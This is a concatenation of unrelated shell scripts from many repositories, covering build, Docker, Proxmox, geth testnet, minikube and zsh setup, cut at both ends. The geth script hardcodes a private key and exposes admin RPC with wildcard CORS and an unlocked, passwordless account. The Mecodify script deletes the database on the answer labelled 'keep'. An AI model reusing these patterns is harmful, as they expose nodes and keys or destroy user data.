PLATFORM_PATCH_1 contains sysinv and playbookconfig components\n# KUBE_PATCH_1 contains kubeadm\n# KUBE_PATCH_2 contains the remainder (node, client, master, etc..)\n\nPATH=$MY_REPO/stx/update/extras/scripts:$PATH\nSEMANTIC_PATH=`dirname \"$0\"`\nDIR=${MY_WORKSPACE}/std/rpmbuild/RPMS\n\n# Patch names\nPLATFORM_PATCH_1=PLATFORM.1\nKUBE_PATCH_1=KUBE.1\nKUBE_PATCH_2=KUBE.2\n\n# Add the following options to include restart scripts for sysinv:\n# --controller ${DIR}/EXAMPLE_SYSINV-1.0-*.x86_64.rpm \\\n# --controller-worker ${DIR}/EXAMPLE_SYSINV-1.0-*.x86_64.rpm \\\n# --controller-worker-lowlatency ${DIR}/EXAMPLE_SYSINV-1.0-*.x86_64.rpm \\\npatch_build.sh \\\n --id ${PLATFORM_PATCH_1} \\\n --reboot-required=N \\\n ${DIR}/sysinv-1.0-*.tis.x86_64.rpm \\\n ${DIR}/playbookconfig-1.0-*.tis.x86_64.rpm\n\npatch_build.sh \\\n --id ${KUBE_PATCH_1} \\\n --apply-active-release-only \\\n --reboot-required=N \\\n --pre-apply ${SEMANTIC_PATH}/KUBE.1.preapply \\\n --pre-remove ${SEMANTIC_PATH}/KUBE.1.preremove \\\n --req ${PLATFORM_PATCH_1} \\\n ${DIR}/kubernetes-kubeadm-1.18.1_upgrade-1.tis.*.x86_64.rpm\n\npatch_build.sh \\\n --id ${KUBE_PATCH_2} \\\n --apply-active-release-only \\\n --reboot-required=N \\\n --pre-apply ${SEMANTIC_PATH}/KUBE.2.preapply \\\n --pre-remove ${SEMANTIC_PATH}/KUBE.2.preremove \\\n --req ${KUBE_PATCH_1} \\\n ${DIR}/kubernetes-node-1.18.1_upgrade-1.tis.*.x86_64.rpm \\\n ${DIR}/kubernetes-client-1.18.1_upgrade-1.tis.*.x86_64.rpm \\\n ${DIR}/kubernetes-1.18.1_upgrade-1.tis.*.x86_64.rpm \\\n ${DIR}/kubernetes-master-1.18.1_upgrade-1.tis.*.x86_64.rpm"} {"text": "#!/usr/bin/env bash\nset -Eeu\n\n# \n\nGETH=${HOME}/go-ethereum/build/bin/geth\n\n# https://github.com/eth2-clients/merge-testnets/tree/main/kintsugi\nEXECUTION_BOOTNODE=\"enode://6f377dd1ef5a3272d7e02fac9064c4f95d74f7edfd866e59ded774ee5b4649ff61c3f24c95f5c3d07d692b447f0569716b8921b6861810b96a705c92e1d27ff9@172.16.31.10:30303\"\n\nGETHDATADIR=$(mktemp -d)\nGENESISJSON=${HOME}/merge-testnets/kintsugi/genesis.json\n\necho \"GETHDATADIR = ${GETHDATADIR}\"\n\n# Initialize the genesis\n$GETH --catalyst --http --ws -http.api \"engine\" --datadir \"${GETHDATADIR}\" init \"${GENESISJSON}\"\n\n# Import the signing key (press enter twice for empty password)\n$GETH --catalyst --http --ws -http.api \"engine\" --datadir \"${GETHDATADIR}\" account import <(echo 45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8)\n\n#--password \"execution/geth/passfile.txt\"\n#--nodekey \"execution/signer.key\"\n\n$GETH \\\n --catalyst \\\n --http \\\n --http.port 8550 \\\n --http.api \"engine,eth,net,admin,web3\" \\\n --http.corsdomain=\"*\" \\\n --http.vhosts=\"*\" \\\n --ws \\\n --ws.port 8551 \\\n --ws.api \"engine,eth,net,admin,web3\" \\\n --allow-insecure-unlock \\\n --datadir \"${GETHDATADIR}\" \\\n --bootnodes \"$EXECUTION_BOOTNODE\" \\\n --port 30308 \\\n --password \"\" \\\n --syncmode full \\\n --unlock \"0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b\" \\\n --mine \\\n --networkid 1337702 \\\n console"} {"text": "#!/bin/sh\nset -e\n\necho Publishing data on dmishin home page\nODIR=../homepage-sources/res/hyperbolic-ca-simulator\n\ncp -r *.html *.js media *.css README.md $ODIR\n\ncd $ODIR\n\ngit add *\ngit status\n\ngit commit -m \"Publishing updated hyperbolic-ca-simulator\"\n\ngit push"} {"text": "#!/bin/sh\n#\n# This file belongs to MTYPE13 package by <>\n#\nrandom=`date +%m%d%H%M%S`\nsed s/1234567890/$random/ divination.tex > your-divination.tex\ntex your-divination.tex\ndvips -P mtype13 -u t1fonts.map your-divination.dvi -o"} {"text": "bin/collision.sh\n#!/bin/bash\n\ngcc -o ./build/collision ./src/collision.c && ./build/collision $1"} {"text": "#!/bin/bash\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\npushd $DIR\njava -cp \"bin/*\" \\\n -Dau.com.codeka.warworlds.server.basePath=$DIR/bin/ \\\n -Dau.com.codeka.warworlds.server.dbName=wwmmo_load \\\n -Dau.com.codeka.warworlds.server.dbUser=wwmmo_user \\\n '-Dau.com.codeka.warworlds.server.dbPass=' \\\n -Dau.com.codeka.warworlds.server.loadTest=true \\\n au.com.codeka.warworlds.server.Runner $*\npopd"} {"text": "utils/tile.sh\n#!/bin/sh\nFILE=$1\nmontage -geometry +0+0 \"$FILE\" \"$FILE\" \"$FILE\" \"$FILE\" tiled.png"} {"text": "#!/bin/bash\necho \"# [start]: copy and extract file system\"\nrm ../../working/*\ncp ../../../tools/firmware-analysis-toolkit/firmadyne/images/1.tar.gz ../../working/1.tar.gz\n# rm ../../../tools/firmware-analysis-toolkit/firmadyne/images/1.tar.gz\nmkdir ../../working/filesystem\ntar -zxvf ../../working/1.tar.gz -C ../../working/filesystem\nrm ../../working/filesystem/etc/init.d/S045lighttpd.sh\ncp ../../S045lighttpd.sh ../../working/filesystem/etc/init.d/S045lighttpd.sh\necho \"# [finisched]: copy and extract file system\""} {"text": "wsaqaf/mecodify-docker\n#!/bin/bash\nclear\n\nFILE=\"${PWD}/mecodify/configurations.php\"\n\n if [ ! -f \"$FILE\" ]; then\n printf \"Creating a new configurations.php file\\n\"\n cp \"${PWD}/mecodify/configurations_empty.php\" $FILE\n fi\n\n if grep -Eq '\"bearer\"[[:space:]]*=>[[:space:]]*\"\"' $FILE; then\n printf \"It appears that you have not added the Twitter API 2.0 BEARER token into the configurations file.\\n\"\n while true; do\n read -rp \"Do you have a Twitter API premium account (e.g., based on an Academic license)? [Y/n]: \" yn\n case $yn in\n \t\t[Yy]* )\n \t\t\t printf \"Setting the license type to premium...\\n\";\n \t\t\t sed -i '' 's/\"is_premium\"[[:blank:]]*=>[[:blank:]]*false/\"is_premium\" => true/' $FILE;\n \t\t\t break;;\n [Nn]* )\n\t\t printf \"Setting the license type to sandbox (limited)...\\n\";\n sed -i '' 's/\"is_premium\"[[:blank:]]*=>[[:blank:]]*true/\"is_premium\" => false/' $FILE;\n break;;\n \"\")\n sed -i '' 's/\"is_premium\"[[:blank:]]*=>[[:blank:]]*false/\"is_premium\" => true/' $FILE;\n break;;\n \t\t* ) printf \"Please answer with y or n.\\n\";\n \t\t esac\n done\n printf \"Please copy the full BEARER token and paste it below. This will only be required once.\\n\"\n read -rp \"BEARER token: \" token\n if [ ${#token} -ge 10 ]; then\n etoken=$(printf '%s\\n' \"$token\" | sed -e 's/[\\/&]/\\\\&/g')\n sed -i '' 's/\"bearer\"[[:blank:]]*=>[[:blank:]]*\"\"[[:blank:]]*,/\"bearer\" => \"'\"$etoken\"'\",/' $FILE;\n else\n printf \"Invalid token. exiting...\\n\\n\";\n exit;\n fi\n elif grep -Eq '\"bearer\"[[:space:]]*=>[[:space:]]*\".+\"' $FILE; then\n printf \"Using the code BEARER token already in the configuration file. You can change it manually any time.\\n\"\n else\n printf \"the configuration file is corrupted. Exiting...\\n\\n\";\n exit;\n fi\n\n printf \"Creating docker images and the Mecodify app container...\\n\";\n\n if [ -d \"${PWD}/mysql\" ]; then\n printf \"You have an existing mysql Mecodify database.\\n\"\n while true; do\n \tread -rp \"Do you wish to keep or delete it? Enter y to keep, n to delete: [Y/n]\" -i \"y\" yn\n \tcase $yn in\n \t [Yy]* ) rm -rf \"${PWD}/mysql\"; break;;\n \t [Nn]* ) break;;\n \"\") break;;\n \t * ) printf \"Please answer yes or no. \\n\";\n \tesac\n done\n else\n printf \"Creating Mecodify mysql database...\\n\\n\";\n fi\n\n docker build -t wsaqaf/mecodify .\n\n docker kill `docker ps -aqf \"name=mecodify\"` &>/dev/null;\n docker rm `docker ps -aqf \"name=mecodify\"` &>/dev/null;\n docker run -d -i -t -p \"80:80\" -p \"3306:3306\" -v ${PWD}/mysql:/var/lib/mysql -v ${PWD}/mecodify:/mecodify --name mecodify wsaqaf/mecodify;\n docker cp mecodify/configurations.php `docker ps -aqf \"name=mecodify\"`:/var/www/html &>/dev/null;\n printf \"Initializing and running server. Please wait.\";\n\n while ! curl --output /dev/null --silent --head --fail localhost\n do printf \".\"\n sleep 1\n done\n printf \" Installation complete!\\n\\nOpen http://127.0.0.1 with your browser to access the Mecodify platform.\\n\";"} {"text": "#!/bin/bash\n\ndie() {\n echo $@ >&2\n exit 1\n}\n\ncd `dirname \"$0\"`\nmypwd=\"`pwd`\"\n\ncd \"$mypwd/libusb\"\necho \"Configuring libusb . . .\"\nsh autogen.sh >&/dev/null || die \"unable to configure libusb: sh autogen.sh\"\nmv config.h config.h.old\nsed /LOGGING/d config.h.old > config.h\necho \"Building libusb . . .\"\nmake >&/dev/null || die \"unable to compile libusb: make\"\n# We need to use ls -1 instead of [ -f ] because [ -f ] fails on symlinks.\nif ! `ls -1 libusb-1.0` ; then\n ln -s libusb libusb-1.0\nfi >&/dev/null\n\ncd \"$mypwd/libfreenect\"\necho \"Configuring libfreenect . . .\"\ncat > CMakeCache.txt <&/dev/null || die \"Unable to configure libfreenect: cmake .\"\necho \"Building libfreenect . . .\"\nmake >&/dev/null || die \"Unable to build libfreenect: make\"\n\necho \"Everything is built!\""} {"text": "#/bin/bash\n\n# command to create vm\naws ec2 run-instances \\\n--image-id ami-09e67e426f25ce0d7 \\\n--security-group-ids sg-00d16412e561a8dee \\\n--instance-type t2.micro \\\n--key-name devops \\\n--user-data file://ubuntu_userdata.sh"} {"text": "amirothman/audio-visualization\n#!/bin/bash\n\n# ffmpeg -i data/output/amplitude_viz/combined-images.mp4 -i data/input/drum-break.wav -c:v copy -c:a aac data/output/amplitude_viz/combined-with-audio.mp4\n\nffmpeg -i $1 -i $2 -c:v copy -c:a aac $3"} {"text": "localGlassFishConfig.sh\n#!/bin/bash\n\n# Source: https://github.com/payara/Payara-Examples/blob/master/administration-examples/setup-sample-domain.sh\n\n# Payara Variable Initialisation\n# DOMAIN_NAME will be the name that you use to reference your domain when\n# working with some Payara/Glassfish commands.\nDOMAIN_NAME=\"domain1\"\n\n# The PAYARA_HOME variable points to your Payara install location. The below\n# path would be appropriate for Payara versions 4.1.x\n#PAYARA_HOME=\"/opt/payara5/glassfish\"\n\n#Doriane PAYARA home\nPAYARA_HOME=\"/Users/dorianekaffo/Desktop/semestre5/AMT/Serveurs/payara5/glassfish\"\n\n# The ASADMIN variable points to the location of the asadmin script used\n# to run the Payara asadmin commands\nASADMIN=${PAYARA_HOME}/bin/asadmin\n\n\necho \"AS_ADMIN_PASSWORD=\" > /tmp/gfpw.txt;\n\n#${ASADMIN} --interactive=false --user admin --passwordfile=/tmp/gfpw.txt change-admin-password\n\n# The use of the DOMAIN_NAME variable at the end of the asadmin command is used\n# to determine the directory with which the domain's data is stored in within\n# your Payara install. The name must contain only ASCII characters and be valid\n# for a directory name on your operating system.\n#\n# More information regarding the use and option of the asadmin create-domain\n# command can be found at: https://docs.oracle.com/html/E24938_01/create-domain.htm\n\n#${ASADMIN} delete-domain ${DOMAIN_NAME}\n\n#${ASADMIN} --user admin --passwordfile=/tmp/gfpw.txt create-domain --portbase ${PORT_BASE} ${DOMAIN_NAME}\n\n\n## Check out the Ip address for de mysql database running in docker\n#DB_IP=$(docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mysqlcourse)\n\n# Start the newly created sampleDomain domain using the asadmin start-domain\n# command.\n\n${ASADMIN} start-domain ${DOMAIN_NAME} && \\\n${ASADMIN} --interactive=false --user admin create-jdbc-connection-pool --restype javax.sql.DataSource --datasourceclassname com.mysql.jdbc.jdbc2.optional.MysqlDataSource --property user=root:password=:DatabaseName=schedule:ServerName=172.19.0.2:port=3306 pool_course && \\\n${ASADMIN} --interactive=false --user admin create-jdbc-resource --connectionpoolid pool_course jdbc/schedule"} {"text": "#!/bin/bash\nexport C_INCLUDE_PATH=\"${PREFIX}/include\"\nexport LIBRARY_PATH=\"${PREFIX}/lib\"\n\nmkdir -p $PREFIX/bin\nmake \nmv ropebwt2 $PREFIX/bin/"} {"text": "#!/bin/bash\nset -e\necho 'About to install all dependencies, please hang in there tight'\n\npushd \"$(dirname \"${BASH_SOURCE[0]}\")\" > /dev/null\n# shellcheck disable=SC1091\n[[ $UTIL_SOURCED != yes && -f ./util.sh ]] && source ./util.sh\npopd > /dev/null\n\n# Install\ninstall_dependencies"} {"text": "1-10\nif test \"$(uname)\" = \"Darwin\"\nthen\n ln -s config/com.googlecode.iterm2.plist ~/Library/Preferences/com.googlecode.iterm2.plist\nfi"} {"text": "sudo docker pull pycalcx/webux\ndocker run -d -p 8080:8080 pycalcx/webux"} {"text": "#! /bin/bash\nset -e\n\n# This script runs SSINS on raw data\n\n# import common functions\nsrc_dir=\"$(dirname \"$0\")\"\nsource ${src_dir}/_common.sh\n\n# Parameters are set in the configuration file. Here we define their positions,\n# which must be consistent with the config.\n\n# 1 - the significance threshold for streak shapes\n# 2 - the significance threshold to use for the other shapes\n# 3 - The threshold for flagging a highly contaminated frequency channel\n# 4 - ant_metrics_ext\n# 5+ - The filename(s) to read in\n\nall_args=(\"$@\")\nstreak_sig=${1}\nother_sig=${2}\ntb_aggro=${3}\ndata_files=(${@:5})\n\necho filenames are \"${data_files[@]}\"\n\n# Get the first filename in the list (should work if only one file)\nfirst_file=\"${data_files%\" \"*}\"\n# Set the prefix based on the first filename\nprefix=\"${first_file%.uvh5}\"\n\n# get auto_metrics_file to exclude bad antennas\nfn=${data_files[0]}\nbn=`basename ${fn}`\njd=$(get_int_jd ${bn})\ndecimal_jd=$(get_jd ${bn})\npattern=\"${fn%${decimal_jd}.sum.uvh5}${jd}.?????.sum.auto_metrics.h5\"\npattern_files=( $pattern )\nauto_metrics_file=${pattern_files[0]}\n\n# get ant_metrics_files to exclude bad antennas\nant_metrics_files=()\nfor fn in ${data_files[@]}; do\n ant_metrics_files+=( ${fn%.uvh5}${4} )\ndone\n\necho Run_HERA_SSINS.py -f ${data_files[@]} -s $streak_sig -o $other_sig -p $prefix -t $tb_aggro --metrics_files ${auto_metrics_file} ${ant_metrics_files[@]} -c\nRun_HERA_SSINS.py -f ${data_files[@]} -s $streak_sig -o $other_sig -p $prefix -t $tb_aggro --metrics_files ${auto_metrics_file} ${ant_metrics_files[@]} -c\n\n# Move all outputs to folder\necho rm -rf ${prefix}.SSINS\nrm -rf ${prefix}.SSINS\necho mkdir ${prefix}.SSINS\nmkdir ${prefix}.SSINS\nfor sf in ${prefix}.SSINS.*; do\n bn=$(basename ${sf})\n echo mv ${sf} ${prefix}.SSINS/${bn}\n mv ${sf} ${prefix}.SSINS/${bn}\ndone"} {"text": "1-10\n#!/bin/bash\n\nPATH=\"/usr/bin:/usr/sbin\"\n\nsource /home/django-app/.virtualenv/bin/activate\n\npip install -r /home/django-app/code/requirements.txt\n\n/home/django-app/code/manage.py runserver 0.0.0.0:${PORT}"} {"text": "PWG/muon/rootlutnt.sh100-1000\n#!/bin/bash\nexport GCLIENT_SERVER_LIST=\"pcapiserv04.cern.ch:10000|pcapiserv05.cern.ch:10000|pcapiserv06.cern.ch:10000|pcapiserv07.cern.ch:10000\"\necho ===========================\necho $PATH \necho $ROOTSYS\necho $LD_LIBRARY_PATH\necho ==========================\n\nroot -b -x runCreateLUTNT.C;"} {"text": "SonnevilleJ/proxmox-setupscripts/setup.sh\n#!/usr/bin/env bash\n\nOS_CODENAME=\"$(grep \"VERSION_CODENAME=\" /etc/os-release | cut -d\"=\" -f 2 | xargs)\"\n\n# disable enterprise proxmox repo\nif [ -f /etc/apt/sources.list.d/pve-enterprise.list ]; then\n sed -i \"s/^deb/#deb/g\" /etc/apt/sources.list.d/pve-enterprise.list\nfi\n# enable free public proxmox repo\nif [ ! -f /etc/apt/sources.list.d/proxmox.list ] && [ ! -f /etc/apt/sources.list.d/pve-public-repo.list ] && [ ! -f /etc/apt/sources.list.d/pve-install-repo.list ]; then\n echo -e \"deb http://download.proxmox.com/debian/pve ${OS_CODENAME} pve-no-subscription\\\\n\" >/etc/apt/sources.list.d/pve-public-repo.list\nfi\n\n# rebuild and add non-free to /etc/apt/sources.list\ncat </etc/apt/sources.list\ndeb https://ftp.debian.org/debian ${OS_CODENAME} main contrib\ndeb https://ftp.debian.org/debian ${OS_CODENAME}-updates main contrib\n# non-free\n#deb https://httpredir.debian.org/debian/ ${OS_CODENAME} main contrib non-free\n# security updates\ndeb https://security.debian.org/debian-security ${OS_CODENAME}-security/updates main contrib\nEOF\n\n# Refresh the package lists\napt-get update >/dev/null 2>&1\n\n# Remove conflicting utilities\n/usr/bin/env DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::='--force-confdef' purge ntp openntpd chrony\n\n# Fixes for common apt repo errors\n/usr/bin/env DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::='--force-confdef' install apt-transport-https debian-archive-keyring ca-certificates curl\n\n# update proxmox and install various system utils\n/usr/bin/env DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::='--force-confdef' dist-upgrade\npveam update\n\n# apt autoremove and autoclean\n/usr/bin/env DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::='--force-confdef' install autoremove autoclean\n\n## Install zfs-auto-snapshot\n/usr/bin/env DEBIAN_FRONTEND=noninteractive apt-get -y -o Dpkg::Options::='--force-confdef' install zfs-auto-snapshot\n# make 5min snapshots , keep 12 5min snapshots\nif [ -f \"/etc/cron.d/zfs-auto-snapshot\" ]; then\n sed -i 's|--keep=[0-9]*|--keep=12|g' /etc/cron.d/zfs-auto-snapshot\n sed -i 's|*/[0-9]*|*/5|g' /etc/cron.d/zfs-auto-snapshot\nfi\n# keep 24 hourly snapshots\nif [ -f \"/etc/cron.hourly/zfs-auto-snapshot\" ]; then\n sed -i 's|--keep=[0-9]*|--keep=24|g' /etc/cron.hourly/zfs-auto-snapshot\nfi\n# keep 7 daily snapshots\nif [ -f \"/etc/cron.daily/zfs-auto-snapshot\" ]; then\n sed -i 's|--keep=[0-9]*|--keep=7|g' /etc/cron.daily/zfs-auto-snapshot\nfi\n# keep 4 weekly snapshots\nif [ -f \"/etc/cron.weekly/zfs-auto-snapshot\" ]; then\n sed -i 's|--keep=[0-9]*|--keep=4|g' /etc/cron.weekly/zfs-auto-snapshot\nfi\n# keep 3 monthly snapshots\nif [ -f \"/etc/cron.monthly/zfs-auto-snapshot\" ]; then\n sed -i 's|--keep=[0-9]*|--keep=3|g' /etc/cron.monthly/zfs-auto-snapshot\nfi\n\n## Automatically Synchronize the time\ncat </etc/systemd/timesyncd.conf\n[Time]\nNTP=0.pool.ntp.org 1.pool.ntp.org 2.pool.ntp.org 3.pool.ntp.org\nFallbackNTP=0.debian.pool.ntp.org 1.debian.pool.ntp.org 2.debian.pool.ntp.org 3.debian.pool.ntp.org\nRootDistanceMaxSec=5\nPollIntervalMinSec=32\nPollIntervalMaxSec=2048\nEOF\nservice systemd-timesyncd start\ntimedatectl set-ntp true"} {"text": "pauluss75/centos-cis-benchmark\n#!/bin/sh\n# ** AUTO GENERATED **\n\n# 5.4.5 - Ensure default user shell timeout is 900 seconds or less (Scored)\n\necho export TMOUT=600>>/etc/bashrc\necho export TMOUT=600>>/etc/profile"} {"text": "0\n#!/bin/bash\n\n# prepare sources for bulk install\nif [ \"$PREP\" -eq \"1\" ]; then\n\techo \"Preparing sources for $0\"\n\texit 0\nfi\n\n# install package\napt install kdiff3 -y"} {"text": "#!/bin/bash\n\n# start minikube with a specific image\nminikube start --iso-url https://accuknox.kr/minikube/minikube.iso\n\n# download kernel-headers.tar.lz4\nminikube ssh -- \"curl -Lo /tmp/kernel-headers-linux-4.19.94.tar.lz4 https://accuknox.kr/minikube/kernel-headers-linux-4.19.94.tar.lz4\"\n\n# install kernel header\nminikube ssh -- \"sudo mkdir -p /lib/modules/4.19.94/build\"\nminikube ssh -- \"lz4 -dc --no-sparse /tmp/kernel-headers-linux-4.19.94.tar.lz4 | sudo tar -C /lib/modules/4.19.94/build -xvf -\"\n\n# remove kernel-headers.tar.lz4\nminikube ssh -- \"rm /tmp/kernel-headers-linux-4.19.94.tar.lz4\""} {"text": "NathanGiesbrecht/FireOS\n#!/bin/sh\n\nnweb 80 /srv/www\n\ncat << CEOF\n\u001b[1m 'nweb' has been started on port 80, serving '/srv/www'.\u001b[0m\nCEOF"} {"text": "Blogs/SparkBarcode/x_setup_hdfs.sh\n#\n# script to copy files into hdfs\n\nCUR_DIR=`dirname \"$0\"`\nCUR_DIR_NAME=`cd \"$CUR_DIR\";pwd`\ncd $CUR_DIR_NAME\n\necho Copying files into hdfs barcode/images directory\nhadoop fs -mkdir barcode\nhadoop fs -mkdir barcode/images\nhadoop fs -rm barcode/images/*\nhadoop fs -put images/* barcode/images\n\n\necho setup_hdfs Script Complete."} {"text": "#!/usr/bin/env zsh\nsetopt auto_list\nsetopt auto_menu\n\nzstyle ':completion:*' use-compctl false\n\n\nfunction _files_enhance() {\n _files -M '' \\\n -M 'm:{[:lower:]-}={[:upper:]_}' \\\n -M 'r:|[.,_-]=* r:|=*' \\\n -M 'r:|.=* r:|=*'\n}\n# caching\nzstyle ':completion:*' accept-exact '*(N)'\nzstyle ':completion:*' use-cache yes\nzstyle ':completion::complete:*' cache-path $XDG_CACHE_HOME/zsh\n\nzstyle ':completion:*:*:*:*:*' menu true select search interactive\nzstyle ':completion:*' list-grouped false\nzstyle ':completion:*' list-separator ''\nzstyle ':completion:*' group-name ''\nzstyle ':completion:*' verbose yes\nzstyle ':completion:*:matches' group 'yes'\nzstyle ':completion:*:warnings' format '%F{red}%B-- No match for: %d --%b%f'\nzstyle ':completion:*:messages' format '%d'\nzstyle ':completion:*:corrections' format '%B%d (errors: %e)%b'\nzstyle ':completion:*:descriptions' format '[%d]'\n\n\n## completion system\n# zstyle ':completion:*:approximate:' max-errors 'reply=( $((($#PREFIX+$#SUFFIX)/3 )) numeric )' # allow one error for every three characters typed in approximate completer\n# zstyle ':completion:*:complete:-command-::commands' ignored-patterns '*\\~' # don't complete backup files as executables\n# zstyle ':completion:*:correct:*' insert-unambiguous true # start menu completion only if it could find no unambiguous initial string\n# zstyle ':completion:*:corrections' format $'%{\\e[0;31m%}%d (errors: %e)%{\\e[0m%}' #\n# zstyle ':completion:*:correct:*' original true\n# zstyle ':completion:*:default' list-colors 'reply=(\"${PREFIX:+=(#bi)($PREFIX:t)(?)*==34=00}:${(s.:.)LS_COLORS}\")'\n# zstyle ':completion:*:descriptions' format $'\\n%F{magenta}%U%B%d%b%u%f\\n'\n# zstyle ':completion:*:*:cd:*:directory-stack' menu yes select\n# zstyle ':completion:*:expand:*' tag-order all-expansions # insert all expansions for expand completer\n# zstyle ':completion:*:history-words' list false #\n# zstyle ':completion:*:history-words' menu yes # activate menu\n# zstyle ':completion:*:history-words' remove-all-dups yes # ignore duplicate entries\n# zstyle ':completion:*:history-words' stop yes #\n# zstyle ':completion:*' matcher-list 'm:{a-z}={A-Z}' # match uppercase from lowercase\n# zstyle ':completion:*:matches' group 'yes' # separate matches into groups\n# zstyle ':completion:*' group-name '' # group results by category\n# zstyle -e ':completion:*' special-dirs '[[ $PREFIX = (../)#(|.|..) ]] && reply=(..)'\n# zstyle ':completion:*:messages' format '%d' #\n# zstyle ':completion:*:options' auto-description '%d' #\n# zstyle ':completion:*:options' description 'yes' # describe options in full\n# zstyle ':completion:*:processes' command 'ps -au$USER' # on processes completion complete all user processes\n# zstyle ':completion:*:*:-subscript-:*' tag-order indexes parameters # offer indexes before parameters in subscripts\n# zstyle ':completion:*' verbose true # provide verbose completion information\n# zstyle ':completion:*:warnings' format $'%{\\e[0;31m%}No matches for:%{\\e[0m%} %d' # set format for warnings\n# zstyle ':completion:*:*:zcompile:*' ignored-patterns '(*~|*.zwc)' # define files to ignore for zcompile\n# zstyle ':completion:correct:' prompt 'correct to: %e' #\n# zstyle ':completion::(^approximate*):*:functions' ignored-patterns '_*' # Ignore completion functions for commands you don't have:\n# zstyle ':completion::complete:*' gain-privileges 1 # enabling autocompletion of privileged environments in privileged commands\n\n# complete manual by their section\nzstyle ':completion:*:manuals' separate-sections true\nzstyle ':completion:*:manuals.*' insert-sections true\nzstyle ':completion:*:man:*' menu yes select\n\n\n# Kill\nzstyle ':completion:*:*:*:*:processes' command 'ps -u $LOGNAME -o pid,user,command -w,nice'\nzstyle ':completion:*:*:kill:*:processes' list-colors '=(#b) #([0-9]#) ([0-9a-z-]#)*=01;36=0=01'\nzstyle ':completion:*:*:kill:*' menu yes select\nzstyle ':completion:*:*:kill:*' force-list always\nzstyle ':completion:*:*:kill:*' insert-ids single\n\n\n# Media Players\nzstyle ':completion:*:*:mpg123:*' file-patterns '*.(mp3|MP3):mp3\\ files *(-/):directories'\nzstyle ':completion:*:*:mpg321:*' file-patterns '*.(mp3|MP3):mp3\\ files *(-/):directories'\nzstyle ':completion:*:*:ogg123:*' file-patterns '*.(ogg|OGG|flac):ogg\\ files *(-/):directories'\nzstyle ':completion:*:*:mocp:*' file-patterns '*.(wav|WAV|mp3|MP3|ogg|OGG|flac):ogg\\ files *(-/):directories'\n\n# SSH/SCP/RSYNC\nzstyle ':completion:*:(ssh|scp|rsync):*' tag-order 'hosts:-host:host hosts:-domain:domain hosts:-ipaddr:ip\\ address *'\nzstyle ':completion:*:(scp|rsync):*' group-order users files all-files hosts-domain hosts-host hosts-ipaddr\nzstyle ':completion:*:ssh:*' group-order users hosts-domain hosts-host users hosts-ipaddr\nzstyle ':completion:*:(ssh|scp|rsync):*:hosts-host' ignored-patterns '*(.|:)*' loopback ip6-loopback localhost ip6-localhost broadcasthost\nzstyle ':completion:*:(ssh|scp|rsync):*:hosts-domain' ignored-patterns '<->.<->.<->.<->' '^[-[:alnum:]]##(.[-[:alnum:]]##)##' '*@*'\nzstyle ':completion:*:(ssh|scp|rsync):*:hosts-ipaddr' ignored-patterns '^(<->.<->.<->.<->|(|::)([[:xdigit:].]##:(#c,2))##(|%*))' '127.0.0.<->' '255.255.255.255' '::1' 'fe80::*'\n\n# Fuzzy matching of completions\n# https://grml.org/zsh/zsh-lovers.html\nzstyle ':completion:*' completer _complete _match _approximate _extensions _files_enhance\nzstyle ':completion:*:match:*' original only\nzstyle -e ':completion:*:approximate:*' \\\n max-errors 'reply=($((($#PREFIX+$#SUFFIX)/3))numeric)'\n\nzstyle ':completion:*' regular false\n\n# In menu-style completion, give a status bar\nzstyle ':completion:*' select-prompt '%SScrolling active: current selection at %p%s'\n\n## correction\n# run rehash on completion so new installed program are found automatically:\n_force_rehash() {\n (( CURRENT == 1 )) && rehash\n return 1 # Because we didn't really complete anything\n}\n\n# host completion /* add brackets as vim can't parse zsh's complex cmdlines 8-) {{{ */\n# [ -r ~/.ssh/known_hosts ] && _ssh_hosts=(${${${${(f)\"$(<$HOME/.ssh/known_hosts)\"}:#[\\|]*}%%\\ *}%%,*}) || _ssh_hosts=()\n# [ -r /etc/hosts ] && : ${(A)_etc_hosts:=${(s: :)${(ps:\\t:)${${(f)~~\"$( /tmp/w1\n local i\n for i in $(tmux list-panes -F '#D'); do\n # Skip current pane (handled before).\n [[ \"$TMUX_PANE\" = \"$i\" ]] && continue\n w+=( ${(u)=$(_tmux_capture_pane -t $i)} )\n done\n _wanted values expl 'words from current tmux pane' compadd -a w\n}\n\nzle -C tmux-pane-words-prefix complete-word _generic\nzle -C tmux-pane-words-anywhere complete-word _generic\nbindkey '^X^Tt' tmux-pane-words-prefix\nbindkey '^X^TT' tmux-pane-words-anywhere\nzstyle ':completion:tmux-pane-words-(prefix|anywhere):*' completer _tmux_pane_words\nzstyle ':completion:tmux-pane-words-(prefix|anywhere):*' ignore-line current\n# Display the (interactive) menu on first execution of the hotkey.\nzstyle ':completion:tmux-pane-words-(prefix|anywhere):*' menu yes select interactive\n# zstyle ':completion:tmux-pane-words-anywhere:*' matcher-list 'b:=* m:{A-Za-z}={a-zA-Z}'\nzstyle ':completion:tmux-pane-words-(prefix|anywhere):*' matcher-list 'b:=* m:{A-Za-z}={a-zA-Z}'\n# }}}"} {"text": "10-100\nlocal user_host=''\nlocal current_dir=`fgc 249`'\\w'$NOC\nlocal pc=''\n\n# add a fix for Solaris' backward id command\nid=`id |cut -f1 -d' '|sed -e 's/(.*$//'|cut -f2 -d'='`\n\nif [ \"$id\" -eq 0 ]; then\n user_host=`fgc 196`'\\u'`fgc 11`'@'`fgc 197`'\\h'$NOC\n pc=`fgc 196`➤$NOC\nelse\n user_host=`fgc 46`'\\u'`fgc 11`'@'`fgc 197`'\\h'$NOC\n pc=➤$NOC\nfi\n\nPS1=\"${user_host} ${current_dir}\n${pc} \"$NOC"} {"text": "0\n#!/bin/bash\n\necho \"Setting up a security testuser\"\n\n. addSecurityAccountTestUser.sh\n\n. generateTokenWithUser.sh\n\necho \"Setting up a security testuser...Done\""} {"text": "gitter-badger/megadepthget_htslib.sh\n#!/usr/bin/env bash\n\nset -ex\n\n#macos:\n# x86_64-apple-darwin12 (CC=o64-gcc)\n#OR\n# i386-apple-darwin1 (CC=o32-gcc)\n#windows:\n# x86_64-w64-mingw32 (64bit)\n#OR\n# i686-w64-mingw32 (32bit)\n\ncompiler=$1\n#\"macos\" or \"windows\" (or nothing 